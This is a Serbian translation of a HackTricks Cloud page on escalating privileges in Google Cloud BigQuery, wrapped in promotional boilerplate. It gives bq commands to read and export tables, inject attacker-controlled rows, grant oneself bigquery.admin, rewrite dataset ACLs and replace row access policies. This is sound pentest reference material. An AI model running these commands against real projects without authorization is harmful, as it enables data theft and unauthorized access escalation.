GCP - BigQuery Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

• Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!

• Nabavite zvanični PEASS & HackTricks swag

• Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova

• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.

• Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

BigQuery

Za više informacija o BigQuery-u pogledajte:

GCP - Bigquery Enum

Čitanje tabele

Čitanjem informacija koje se nalaze unutar BigQuery tabele moguće je pronaći osetljive informacije. Za pristup informacijama potrebne su dozvole bigquery.tables.get, bigquery.jobs.create i bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Izvoz podataka

Ovo je još jedan način pristupa podacima. Izvezi ih u spremište oblaka i preuzmi datoteke sa informacijama. Da biste izvršili ovu radnju, potrebne su sledeće dozvole: bigquery.tables.export, bigquery.jobs.create i storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Unos podataka

Moguće je uneti određene pouzdane podatke u Bigquery tabelu kako bi se iskoristila ranjivost na nekom drugom mestu. To se može lako postići sa dozvolama bigquery.tables.get, bigquery.tables.updateData i bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Napadač bi mogao zloupotrebiti ovlašćenje da sebi dodeli dodatna ovlašćenja nad BigQuery datasetom:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Samo ova dozvola omogućava ažuriranje pristupa vašem BigQuery datasetu putem izmenjivanja ACL-ova koji pokazuju ko može pristupiti.

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Napadač bi mogao zloupotrebiti ovlašćenje da sebi dodeli dodatna ovlašćenja nad BigQuery tabelom:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Prema dokumentaciji, sa navedenim dozvolama je moguće ažurirati politiku reda. Međutim, korišćenjem bq komandne linije potrebno je još nekoliko dozvola: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:[e-mail]") FILTER USING (term = "Cfba");' # A example filter was used

Moguće je pronaći ID filtera u izlazu enumeracije politika redova. Primer:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

• Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!

• Nabavite zvanični PEASS & HackTricks swag

• Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova

• Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.

• Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.